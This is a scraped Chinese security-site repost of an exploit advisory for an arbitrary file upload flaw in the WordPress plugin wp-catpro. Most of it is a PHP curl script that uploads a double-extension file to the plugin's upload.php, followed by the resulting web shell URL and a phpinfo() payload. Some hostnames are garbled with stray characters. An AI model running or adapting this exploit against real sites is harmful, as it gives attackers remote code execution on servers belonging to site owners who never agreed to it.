WordPress插件wp-catpro任意文件上传 - 网站安全 - 自

#-----------------------------------------------------------------------

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability

#-----------------------------------------------------------------------

 

邮箱 => zikou16x@gmail测试数据

下载 地址 : http://xmlswf测试数据/images/stories/ WP _plugins/wp-catpro.zip

####

 

#=> Exploit 信息:

------------------

# 攻击者可以上传 file/shell.php.gif

# ("jpg", "gif", "png")  // Allowed file extensions

# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)

# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)

------------------

 

#=> Exploit

-----------

<?php

 

$uploadfile="zik.php.gif";

$ch = curl_init("http://[ HdhCmsTest2cto测试数据 ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");

curl_setopt($ch, CURLOPT_POST, true);

curl_setopt($ch, CURLOPT_POSTFIELDS,

array('Filedata'=>"@$uploadfile",

'folder'=>'/wp-content/uploads/catpro/'));

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$postResult = curl_exec($ch);

curl_close($ch);

 

print "$postResult";

 

Shell Access : http://[ HdhCmsTest2cto测试数据 ]/[path]/wp-content/uploads/catpro/random_name.php.gif

  ?>

<?php

phpinfo();

?>

查看更多关于WordPress插件wp-catpro任意文件上传 - 网站安全 - 自的详细内容...